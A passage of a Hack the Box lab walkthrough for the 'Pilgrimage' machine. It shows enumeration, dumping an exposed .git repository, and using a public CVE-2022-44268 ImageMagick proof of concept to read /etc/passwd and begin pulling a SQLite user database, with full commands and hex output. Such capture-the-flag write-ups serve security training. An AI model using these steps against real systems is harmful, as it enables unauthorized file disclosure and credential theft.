green mountain during daytime

Hack the Box: Pilgrimage Walkthrough

, ,

Machine Stats

OS
Linux

Rating
Easy

Enumeration

I started by running my standard nmap scan.

nmap -A -T4 -p- 10.10.11.219            
Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-15 19:51 EDT
Nmap scan report for 10.10.11.219
Host is up (0.041s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 20:be:60:d2:95:f6:28:c1:b7:e9:e8:17:06:f1:68:f3 (RSA)
|   256 0e:b6:a6:a8:c9:9b:41:73:74:6e:70:18:0d:5f:e0:af (ECDSA)
|_  256 d1:4e:29:3c:70:86:69:b4:d7:2c:c8:0b:48:6e:98:04 (ED25519)
80/tcp open  http    nginx 1.18.0
|_http-title: Did not follow redirect to http://pilgrimage.htb/
|_http-server-header: nginx/1.18.0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.47 seconds

Seeing the url http://pilgrimage.htb, I edited my hosts file to add an entry for this domain name. I then re-scanned the machine with nmap.

Nmap scan report for pilgrimage.htb (10.10.11.219)
Host is up (0.043s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 20:be:60:d2:95:f6:28:c1:b7:e9:e8:17:06:f1:68:f3 (RSA)
|   256 0e:b6:a6:a8:c9:9b:41:73:74:6e:70:18:0d:5f:e0:af (ECDSA)
|_  256 d1:4e:29:3c:70:86:69:b4:d7:2c:c8:0b:48:6e:98:04 (ED25519)
80/tcp open  http    nginx 1.18.0
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-title: Pilgrimage - Shrink Your Images
|_http-server-header: nginx/1.18.0
| http-git: 
|   10.10.11.219:80/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|_    Last commit message: Pilgrimage image shrinking service initial commit. # Please ...
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.00 seconds

We can see that there’s an exposed .git repo folder, which is going to be explored after a quick web directory scan. ๐Ÿ™‚

โ””โ”€$ feroxbuster -u http://pilgrimage.htb -k        

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher ๐Ÿค“                 ver: 2.10.0
โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
 ๐ŸŽฏ  Target Url            โ”‚ http://pilgrimage.htb
 ๐Ÿš€  Threads               โ”‚ 50
 ๐Ÿ“–  Wordlist              โ”‚ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 ๐Ÿ‘Œ  Status Codes          โ”‚ All Status Codes!
 ๐Ÿ’ฅ  Timeout (secs)        โ”‚ 7
 ๐Ÿฆก  User-Agent            โ”‚ feroxbuster/2.10.0
 ๐Ÿ’‰  Config File           โ”‚ /etc/feroxbuster/ferox-config.toml
 ๐Ÿ”Ž  Extract Links         โ”‚ true
 ๐Ÿ  HTTP methods          โ”‚ [GET]
 ๐Ÿ”“  Insecure              โ”‚ true
 ๐Ÿ”ƒ  Recursion Depth       โ”‚ 4
โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
 ๐Ÿ  Press [ENTER] to use the Scan Management Menuโ„ข
โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
404      GET        7l       11w      153c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter                                                                                                               
403      GET        7l        9w      153c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter                                                                                                               
301      GET        7l       11w      169c http://pilgrimage.htb/tmp => http://pilgrimage.htb/tmp/
200      GET      178l      395w     5292c http://pilgrimage.htb/assets/js/custom.js
200      GET      171l      403w     6173c http://pilgrimage.htb/register.php
302      GET        0l        0w        0c http://pilgrimage.htb/dashboard.php => http://pilgrimage.htb/login.php
302      GET        0l        0w        0c http://pilgrimage.htb/logout.php => http://pilgrimage.htb/
200      GET       94l      234w     3576c http://pilgrimage.htb/assets/css/custom.css
200      GET      171l      403w     6166c http://pilgrimage.htb/login.php
200      GET        5l       27w     1031c http://pilgrimage.htb/assets/js/popup.js
200      GET      186l      505w     4928c http://pilgrimage.htb/assets/css/owl.css
301      GET        7l       11w      169c http://pilgrimage.htb/assets => http://pilgrimage.htb/assets/
200      GET        7l      942w    60110c http://pilgrimage.htb/vendor/bootstrap/js/bootstrap.min.js
200      GET     2349l     5229w    50334c http://pilgrimage.htb/assets/css/templatemo-woox-travel.css
200      GET       11l      552w    57997c http://pilgrimage.htb/assets/css/animate.css
200      GET        2l     1283w    86927c http://pilgrimage.htb/vendor/jquery/jquery.min.js
301      GET        7l       11w      169c http://pilgrimage.htb/assets/images => http://pilgrimage.htb/assets/images/
200      GET     6805l    11709w   123176c http://pilgrimage.htb/assets/css/fontawesome.css
301      GET        7l       11w      169c http://pilgrimage.htb/assets/js => http://pilgrimage.htb/assets/js/
301      GET        7l       11w      169c http://pilgrimage.htb/assets/css => http://pilgrimage.htb/assets/css/
200      GET       15l     1928w   119998c http://pilgrimage.htb/assets/js/isotope.min.js
200      GET        7l     2223w   194705c http://pilgrimage.htb/vendor/bootstrap/css/bootstrap.min.css
200      GET    16582l    60225w   485937c http://pilgrimage.htb/assets/js/tabs.js
200      GET      198l      494w     7621c http://pilgrimage.htb/
301      GET        7l       11w      169c http://pilgrimage.htb/vendor => http://pilgrimage.htb/vendor/
301      GET        7l       11w      169c http://pilgrimage.htb/vendor/jquery => http://pilgrimage.htb/vendor/jquery/...
...
...

This looks like a pretty standard web application.

After exploring around with BurpSuite a little bit, I registered a user account, and tested the functionality of the application. The user can upload an image file, and then the image is processed and presented back to the user, where they can download the processed file to their local machine. It appears that the image is shrunken down in dimensions. Given my knowledge of web applications, I immediately start to think about ImageMagick being potentially in use, especially given its popularity and relatively high profile vulnerabilities.

User Flag

After doing some messing around with trying to upload non-image malicious files, I started to go back to the .git folder that was discovered previously. I used a tool called git_dumper that I have previously used to download git repo folders out of website directories before.

โ””โ”€$ python3 git_dumper.py http://pilgrimage.htb/.git/ /tmp/git
[-] Testing http://pilgrimage.htb/.git/HEAD [200]
[-] Testing http://pilgrimage.htb/.git/ [403]
[-] Fetching common files
[-] Fetching http://pilgrimage.htb/.gitignore [404]
[-] http://pilgrimage.htb/.gitignore responded with status code 404
[-] Fetching http://pilgrimage.htb/.git/COMMIT_EDITMSG [200]
[-] Fetching http://pilgrimage.htb/.git/hooks/applypatch-msg.sample [200]
[-] Fetching http://pilgrimage.htb/.git/description [200]
[-] Fetching http://pilgrimage.htb/.git/hooks/pre-commit.sample [200]
[-] Fetching http://pilgrimage.htb/.git/hooks/post-receive.sample [404]
[-] http://pilgrimage.htb/.git/hooks/post-receive.sample responded with status code 404
[-] Fetching http://pilgrimage.htb/.git/hooks/post-commit.sample [404]
[-] http://pilgrimage.htb/.git/hooks/post-commit.sample responded with status code 404
[-] Fetching http://pilgrimage.htb/.git/hooks/commit-msg.sample [200]
[-] Fetching http://pilgrimage.htb/.git/hooks/post-update.sample [200]
[-] Fetching http://pilgrimage.htb/.git/hooks/pre-applypatch.sample [200]
[-] Fetching http://pilgrimage.htb/.git/hooks/pre-receive.sample [200]
[-] Fetching http://pilgrimage.htb/.git/hooks/prepare-commit-msg.sample [200]
[-] Fetching http://pilgrimage.htb/.git/hooks/pre-rebase.sample [200]
[-] Fetching http://pilgrimage.htb/.git/hooks/update.sample [200]
[-] Fetching http://pilgrimage.htb/.git/info/exclude [200]
[-] Fetching http://pilgrimage.htb/.git/hooks/pre-push.sample [200]
[-] Fetching http://pilgrimage.htb/.git/index [200]
[-] Fetching http://pilgrimage.htb/.git/objects/info/packs [404]
[-] http://pilgrimage.htb/.git/objects/info/packs responded with status code 404
[-] Finding refs/
[-] Fetching http://pilgrimage.htb/.git/config [200]
[-] Fetching http://pilgrimage.htb/.git/HEAD [200]
[-] Fetching http://pilgrimage.htb/.git/FETCH_HEAD [404]
[-] http://pilgrimage.htb/.git/FETCH_HEAD responded with status code 404
[-] Fetching http://pilgrimage.htb/.git/ORIG_HEAD [404]
[-] http://pilgrimage.htb/.git/ORIG_HEAD responded with status code 404
[-] Fetching http://pilgrimage.htb/.git/logs/refs/stash [404]
[-] http://pilgrimage.htb/.git/logs/refs/stash responded with status code 404
[-] Fetching http://pilgrimage.htb/.git/logs/refs/heads/master [200]
[-] Fetching http://pilgrimage.htb/.git/logs/HEAD [200]
[-] Fetching http://pilgrimage.htb/.git/info/refs [404]
[-] http://pilgrimage.htb/.git/info/refs responded with status code 404
[-] Fetching http://pilgrimage.htb/.git/logs/refs/remotes/origin/master [404]
[-] http://pilgrimage.htb/.git/logs/refs/remotes/origin/master responded with status code 404
[-] Fetching http://pilgrimage.htb/.git/logs/refs/remotes/origin/HEAD [404]
[-] http://pilgrimage.htb/.git/logs/refs/remotes/origin/HEAD responded with status code 404
[-] Fetching http://pilgrimage.htb/.git/refs/heads/master [200]
[-] Fetching http://pilgrimage.htb/.git/refs/remotes/origin/HEAD [404]
[-] http://pilgrimage.htb/.git/refs/remotes/origin/HEAD responded with status code 404
[-] Fetching http://pilgrimage.htb/.git/packed-refs [404]
[-] http://pilgrimage.htb/.git/packed-refs responded with status code 404
[-] Fetching http://pilgrimage.htb/.git/refs/remotes/origin/master [404]
[-] http://pilgrimage.htb/.git/refs/remotes/origin/master responded with status code 404
[-] Fetching http://pilgrimage.htb/.git/refs/stash [404]
[-] http://pilgrimage.htb/.git/refs/stash responded with status code 404
[-] Fetching http://pilgrimage.htb/.git/refs/wip/wtree/refs/heads/master [404]
[-] http://pilgrimage.htb/.git/refs/wip/wtree/refs/heads/master responded with status code 404
[-] Fetching http://pilgrimage.htb/.git/refs/wip/index/refs/heads/master [404]
[-] http://pilgrimage.htb/.git/refs/wip/index/refs/heads/master responded with status code 404
[-] Finding packs
[-] Finding objects
[-] Fetching objects
[-] Fetching http://pilgrimage.htb/.git/objects/2f/9156e434cfa6204c9d48733ee5c0d86a8a4e23 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/e1/a40beebc7035212efdcb15476f9c994e3634a7 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/ff/dbd328a3efc5dad2a97be47e64d341d696576c [200]
[-] Fetching http://pilgrimage.htb/.git/objects/f2/b67ac629e09e9143d201e9e7ba6a83ee02d66e [200]
[-] Fetching http://pilgrimage.htb/.git/objects/00/00000000000000000000000000000000000000 [404]
[-] http://pilgrimage.htb/.git/objects/00/00000000000000000000000000000000000000 responded with status code 404
[-] Fetching http://pilgrimage.htb/.git/objects/b2/15e14bb4766deff4fb926e1aa080834935d348 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/cd/2774e97bfe313f2ec2b8dc8285ec90688c5adb [200]
[-] Fetching http://pilgrimage.htb/.git/objects/c4/3565452792f19d2cf2340266dbecb82f2a0571 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/46/44c40a1f15a1eed9a8455e6ac2a0be29b5bf9e [200]
[-] Fetching http://pilgrimage.htb/.git/objects/c2/cbe0c97b6f3117d4ab516b423542e5fe7757bc [200]
[-] Fetching http://pilgrimage.htb/.git/objects/1f/8ddab827030fbc81b7cb4441ec4c9809a48bc1 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/e9/2c0655b5ac3ec2bfbdd015294ddcbe054fb783 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/96/3349e4f7a7a35c8f97043c20190efbe20d159a [200]
[-] Fetching http://pilgrimage.htb/.git/objects/49/cd436cf92cc28645e5a8be4b1973683c95c537 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/6c/965df00a57fd13ad50b5bbe0ae1746cdf6403d [200]
[-] Fetching http://pilgrimage.htb/.git/objects/11/dbdd149e3a657bc59750b35e1136af861a579f [200]
[-] Fetching http://pilgrimage.htb/.git/objects/29/4ee966c8b135ea3e299b7ca49c450e78870b59 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/54/4d28df79fe7e6757328f7ecddf37a9aac17322 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/b4/21518638bfb4725d72cc0980d8dcaf6074abe7 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/fd/90fe8e067b4e75012c097a088073dd1d3e75a4 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/47/6364752c5fa7ad9aa10f471dc955aac3d3cf34 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/c3/27c2362dd4f8eb980f6908c49f8ef014d19568 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/c4/18930edec4da46019a1bac06ecb6ec6f7975bb [200]
[-] Fetching http://pilgrimage.htb/.git/objects/8a/62aac3b8e9105766f3873443758b7ddf18d838 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/fb/f9e44d80c149c822db0b575dbfdc4625744aa4 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/06/19fc1c747e6278bbd51a30de28b3fcccbd848a [200]
[-] Fetching http://pilgrimage.htb/.git/objects/50/210eb2a1620ef4c4104c16ee7fac16a2c83987 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/8e/42bc52e73caeaef5e58ae0d9844579f8e1ae18 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/dc/446514835fe49994e27a1c2cf35c9e45916c71 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/1f/2ef7cfabc9cf1d117d7a88f3a63cadbb40cca3 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/b6/c438e8ba16336198c2e62fee337e126257b909 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/2b/95e3c61cd8f7f0b7887a8151207b204d576e14 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/fa/175a75d40a7be5c3c5dee79b36f626de328f2e [200]
[-] Fetching http://pilgrimage.htb/.git/objects/c2/a4c2fd4e5b2374c6e212d1800097e3b30ff4e2 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/76/a559577d4f759fff6af1249b4a277f352822d5 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/a5/29d883c76f026420aed8dbcbd4c245ed9a7c0b [200]
[-] Fetching http://pilgrimage.htb/.git/objects/f3/e708fd3c3689d0f437b2140e08997dbaff6212 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/36/c734d44fe952682020fd9762ee9329af51848d [200]
[-] Fetching http://pilgrimage.htb/.git/objects/93/ed6c0458c9a366473a6bcb919b1033f16e7a8d [200]
[-] Fetching http://pilgrimage.htb/.git/objects/5f/ec5e0946296a0f09badeb08571519918c3da77 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/88/16d69710c5d2ee58db84afa5691495878f4ee1 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/26/8dbf75d02f0d622ac4ff9e402175eacbbaeddd [200]
[-] Fetching http://pilgrimage.htb/.git/objects/81/703757c43fe30d0f3c6157a1c20f0fea7331fc [200]
[-] Fetching http://pilgrimage.htb/.git/objects/8f/155a75593279c9723a1b15e5624a304a174af2 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/98/10e80fba2c826a142e241d0f65a07ee580eaad [200]
[-] Fetching http://pilgrimage.htb/.git/objects/a7/3926e2965989a71725516555bcc1fe2c7d4f9e [200]
[-] Fetching http://pilgrimage.htb/.git/objects/9e/ace5d0e0c82bff5c93695ac485fe52348c855e [200]
[-] Fetching http://pilgrimage.htb/.git/objects/ca/d9dfca08306027b234ddc2166c838de9301487 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/23/1150acdd01bbbef94dfb9da9f79476bfbb16fc [200]
[-] Fetching http://pilgrimage.htb/.git/objects/f1/8fa9173e9f7c1b2f30f3d20c4a303e18d88548 [200]
[-] Running git checkout .

I then run a quick git log to view the repo’s commit history, hoping to extract some useful information.

โ””โ”€$ git log
commit e1a40beebc7035212efdcb15476f9c994e3634a7 (HEAD -> master)
Author: emily <emily@pilgrimage.htb>
Date:   Wed Jun 7 20:11:48 2023 +1000

    Pilgrimage image shrinking service initial commit.

We now have a user account known to us. (emily) – we could kick off a bruteforce attack on the open SSH port if we wanted to here.

I decide to see if we can confirm ImageMagick is in play. Browsing to the site’s source code in the git repo, I looked at index.php

...

if($image["toConvert"]) {
 $image->setLocation("/var/www/pilgrimage.htb/tmp");

...

exec("/var/www/pilgrimage.htb/magick convert /var/www/pilgrimage.htb/tmp/" . $upload->getName() . $mime . " -resize 50% /var/www/pilgrimage.htb/shrunk/" . $newname . $mime);

...

We can see that images that are going to be converted are stuck in the /var/www/pilgrimage.htb/tmp directory, and then ImageMagick (or the binary called magick) is called to resize the image and then stores it in /var/www/pilgrimage.htb/shrunk/

I attempted to run the magick binary inside the git repo folder that we copied off the pilgrimage server, but encountered an exec error. After some troubleshooting, I determined that this was because I was trying to run the application on an M1 Mac. Spinning up a VM on an Intel CPU architecture and running the magick file yielded the following:

./magick -usage

Version: ImageMagick 7.1.0-49 beta Q16-HDRI x86_64 c243c9281:20220911 https://imagemagick.org
Copyright: (C) 1999 ImageMagick Studio LLC
License: https://imagemagick.org/script/license.php
Features: Cipher DPC HDRI OpenMP(4.5) 
...

In exploit-db, two results came up immediately for this version number: ImageMagick 7.1.0-49 – DoS and ImageMagick 7.1.0-49 – Arbitrary File Read. Because I don’t care about denial of service-ing the box while I work on it… I think I’m going to go with the arbitrary file read. This lead me to a voidz0r/CVE-2022-44268 repo on GitHub. I cloned the repo and ran the cargo run command with /etc/passwd, to try and see if we can read that file.

...
git clone https://github.com/voidz0r/CVE-2022-44268
...
cargo run "/etc/passwd"

โ””โ”€$ cargo run "/etc/passwd"   
    Updating crates.io index
  Downloaded hex v0.4.3
  Downloaded adler v1.0.2
  Downloaded miniz_oxide v0.6.2
  Downloaded cfg-if v1.0.0
  Downloaded bitflags v1.3.2
  Downloaded crc32fast v1.3.2
  Downloaded png v0.17.7
  Downloaded flate2 v1.0.25
  Downloaded 8 crates (301.4 KB) in 0.47s
   Compiling crc32fast v1.3.2
   Compiling cfg-if v1.0.0
   Compiling adler v1.0.2
   Compiling bitflags v1.3.2
   Compiling hex v0.4.3
   Compiling miniz_oxide v0.6.2
   Compiling flate2 v1.0.25
   Compiling png v0.17.7
   Compiling cve-2022-44268 v0.1.0 (/home/hax/Git/CVE-2022-44268)
    Finished dev [unoptimized + debuginfo] target(s) in 1m 40s
     Running `target/debug/cve-2022-44268 /etc/passwd`

This command generates an image file that we will then upload to the site.

Download the image, and use the identify command.

โ””โ”€$ identify -verbose 64dc45765c1c8.png 
Image: 64dc45765c1c8.png
  Format: PNG (Portable Network Graphics)
  Geometry: 100x100
  Class: PseudoClass
  Type: palette
  Depth: 1 bits-per-pixel component
  Channel Depths:
    Red:      1 bits
    Green:    1 bits
    Blue:     1 bits
  Channel Statistics:
    Red:
      Minimum:                 65535.00 (1.0000)
      Maximum:                 65535.00 (1.0000)
      Mean:                    65535.00 (1.0000)
      Standard Deviation:          0.00 (0.0000)
    Green:
      Minimum:                     0.00 (0.0000)
      Maximum:                     0.00 (0.0000)
      Mean:                        0.00 (0.0000)
      Standard Deviation:          0.00 (0.0000)
    Blue:
      Minimum:                     0.00 (0.0000)
      Maximum:                     0.00 (0.0000)
      Mean:                        0.00 (0.0000)
      Standard Deviation:          0.00 (0.0000)
  Colors: 2
    0: (255,  0,  0)      red
    1: (255,255,255)      white
  Gamma: 0.45455
  Chromaticity:
    red primary: (0.64,0.33)
    green primary: (0.3,0.6)
    blue primary: (0.15,0.06)
    white point: (0.3127,0.329)
  Filesize: 1.1Ki
  Interlace: No
  Orientation: Unknown
  Background Color: #FEFEFE
  Border Color: #DFDFDF
  Matte Color: #BDBDBD
  Page geometry: 100x100+0+0
  Compose: Over
  Dispose: Undefined
  Iterations: 0
  Compression: Zip
  Png:IHDR.color-type-orig: 3
  Png:IHDR.bit-depth-orig: 1
  Raw profile type: 

    1437
726f6f743a783a303a303a726f6f743a2f726f6f743a2f62696e2f626173680a6461656d
6f6e3a783a313a313a6461656d6f6e3a2f7573722f7362696e3a2f7573722f7362696e2f
6e6f6c6f67696e0a62696e3a783a323a323a62696e3a2f62696e3a2f7573722f7362696e
2f6e6f6c6f67696e0a7379733a783a333a333a7379733a2f6465763a2f7573722f736269
6e2f6e6f6c6f67696e0a73796e633a783a343a36353533343a73796e633a2f62696e3a2f
62696e2f73796e630a67616d65733a783a353a36303a67616d65733a2f7573722f67616d
65733a2f7573722f7362696e2f6e6f6c6f67696e0a6d616e3a783a363a31323a6d616e3a
2f7661722f63616368652f6d616e3a2f7573722f7362696e2f6e6f6c6f67696e0a6c703a
783a373a373a6c703a2f7661722f73706f6f6c2f6c70643a2f7573722f7362696e2f6e6f
6c6f67696e0a6d61696c3a783a383a383a6d61696c3a2f7661722f6d61696c3a2f757372
2f7362696e2f6e6f6c6f67696e0a6e6577733a783a393a393a6e6577733a2f7661722f73
706f6f6c2f6e6577733a2f7573722f7362696e2f6e6f6c6f67696e0a757563703a783a31
303a31303a757563703a2f7661722f73706f6f6c2f757563703a2f7573722f7362696e2f
6e6f6c6f67696e0a70726f78793a783a31333a31333a70726f78793a2f62696e3a2f7573
722f7362696e2f6e6f6c6f67696e0a7777772d646174613a783a33333a33333a7777772d
646174613a2f7661722f7777773a2f7573722f7362696e2f6e6f6c6f67696e0a6261636b
75703a783a33343a33343a6261636b75703a2f7661722f6261636b7570733a2f7573722f
7362696e2f6e6f6c6f67696e0a6c6973743a783a33383a33383a4d61696c696e67204c69
7374204d616e616765723a2f7661722f6c6973743a2f7573722f7362696e2f6e6f6c6f67
696e0a6972633a783a33393a33393a697263643a2f72756e2f697263643a2f7573722f73
62696e2f6e6f6c6f67696e0a676e6174733a783a34313a34313a476e617473204275672d
5265706f7274696e672053797374656d202861646d696e293a2f7661722f6c69622f676e
6174733a2f7573722f7362696e2f6e6f6c6f67696e0a6e6f626f64793a783a3635353334
3a36353533343a6e6f626f64793a2f6e6f6e6578697374656e743a2f7573722f7362696e
2f6e6f6c6f67696e0a5f6170743a783a3130303a36353533343a3a2f6e6f6e6578697374
656e743a2f7573722f7362696e2f6e6f6c6f67696e0a73797374656d642d6e6574776f72
6b3a783a3130313a3130323a73797374656d64204e6574776f726b204d616e6167656d65
6e742c2c2c3a2f72756e2f73797374656d643a2f7573722f7362696e2f6e6f6c6f67696e
0a73797374656d642d7265736f6c76653a783a3130323a3130333a73797374656d642052
65736f6c7665722c2c2c3a2f72756e2f73797374656d643a2f7573722f7362696e2f6e6f
6c6f67696e0a6d6573736167656275733a783a3130333a3130393a3a2f6e6f6e65786973
74656e743a2f7573722f7362696e2f6e6f6c6f67696e0a73797374656d642d74696d6573
796e633a783a3130343a3131303a73797374656d642054696d652053796e6368726f6e69
7a6174696f6e2c2c2c3a2f72756e2f73797374656d643a2f7573722f7362696e2f6e6f6c
6f67696e0a656d696c793a783a313030303a313030303a656d696c792c2c2c3a2f686f6d
652f656d696c793a2f62696e2f626173680a73797374656d642d636f726564756d703a78
3a3939393a3939393a73797374656d6420436f72652044756d7065723a2f3a2f7573722f
7362696e2f6e6f6c6f67696e0a737368643a783a3130353a36353533343a3a2f72756e2f
737368643a2f7573722f7362696e2f6e6f6c6f67696e0a5f6c617572656c3a783a393938
3a3939383a3a2f7661722f6c6f672f6c617572656c3a2f62696e2f66616c73650a

  Date:create: 2023-08-16T03:41:42+00:00
  Date:modify: 2023-08-16T03:41:42+00:00
  Date:timestamp: 2023-08-16T03:41:42+00:00
  Signature: c7d03a3453434db9720fd67b559185125d9bdb1fe9c25c182783170e2ba6a8f6
  Tainted: False
  Elapsed Time: 0m:0.001708s
  Pixels Per Second: 5.6Mi

You’ll notice the big chunk of data at the bottom of the output. I placed this into CyberChef with the Recipie “From Hex” – what follows below is the data that returned.

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:109::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:110:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
emily:x:1000:1000:emily,,,:/home/emily:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
_laurel:x:998:998::/var/log/laurel:/bin/false

We now have validation that this vulnerability and proof of concept are legit, and we have also confirmed that the user ’emily” that we saw in the git commit from earlier is in fact a user on this server. So, now what should we do? Well, when I have access with a web application like this I usually think database credentials or connection files. So let’s look- I picked login.php

<?php
session_start();
if(isset($_SESSION['user'])) {
  header("Location: /dashboard.php");
  exit(0);
}
...
  $db = new PDO('sqlite:/var/db/pilgrimage');
  $stmt = $db->prepare("SELECT * FROM users WHERE username = ? and password = ?");
  $stmt->execute(array($username,$password));

  if($stmt->fetchAll()) {
    $_SESSION['user'] = $username;
...

Ok, there we go- /var/db/pilgrimage looks interesting. Going to grab that. I repeated the steps I just outlined for downloading /etc/passd.

โ””โ”€$ identify -verbose /tmp/64dc48c6504d9.png
Image: /tmp/64dc48c6504d9.png
  Format: PNG (Portable Network Graphics)
  Geometry: 100x100
  Class: PseudoClass
  Type: palette
  Depth: 1 bits-per-pixel component
  Channel Depths:
    Red:      1 bits
    Green:    1 bits
    Blue:     1 bits
  Channel Statistics:
    Red:
      Minimum:                 65535.00 (1.0000)
      Maximum:                 65535.00 (1.0000)
      Mean:                    65535.00 (1.0000)
      Standard Deviation:          0.00 (0.0000)
    Green:
      Minimum:                     0.00 (0.0000)
      Maximum:                     0.00 (0.0000)
      Mean:                        0.00 (0.0000)
      Standard Deviation:          0.00 (0.0000)
    Blue:
      Minimum:                     0.00 (0.0000)
      Maximum:                     0.00 (0.0000)
      Mean:                        0.00 (0.0000)
      Standard Deviation:          0.00 (0.0000)
  Colors: 2
    0: (255,  0,  0)      red
    1: (255,255,255)      white
  Gamma: 0.45455
  Chromaticity:
    red primary: (0.64,0.33)
    green primary: (0.3,0.6)
    blue primary: (0.15,0.06)
    white point: (0.3127,0.329)
  Filesize: 1.1Ki
  Interlace: No
  Orientation: Unknown
  Background Color: #FEFEFE
  Border Color: #DFDFDF
  Matte Color: #BDBDBD
  Page geometry: 100x100+0+0
  Compose: Over
  Dispose: Undefined
  Iterations: 0
  Compression: Zip
  Png:IHDR.color-type-orig: 3
  Png:IHDR.bit-depth-orig: 1
  Raw profile type: 

   20480
53514c69746520666f726d61742033001000010100402020000000670000000500000000
000000000000000400000004000000000000000000000001000000000000000000000000
000000000000000000000000000000000000000000000067002e4b910d0ff800040eba00
0f650fcd0eba0f3800000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
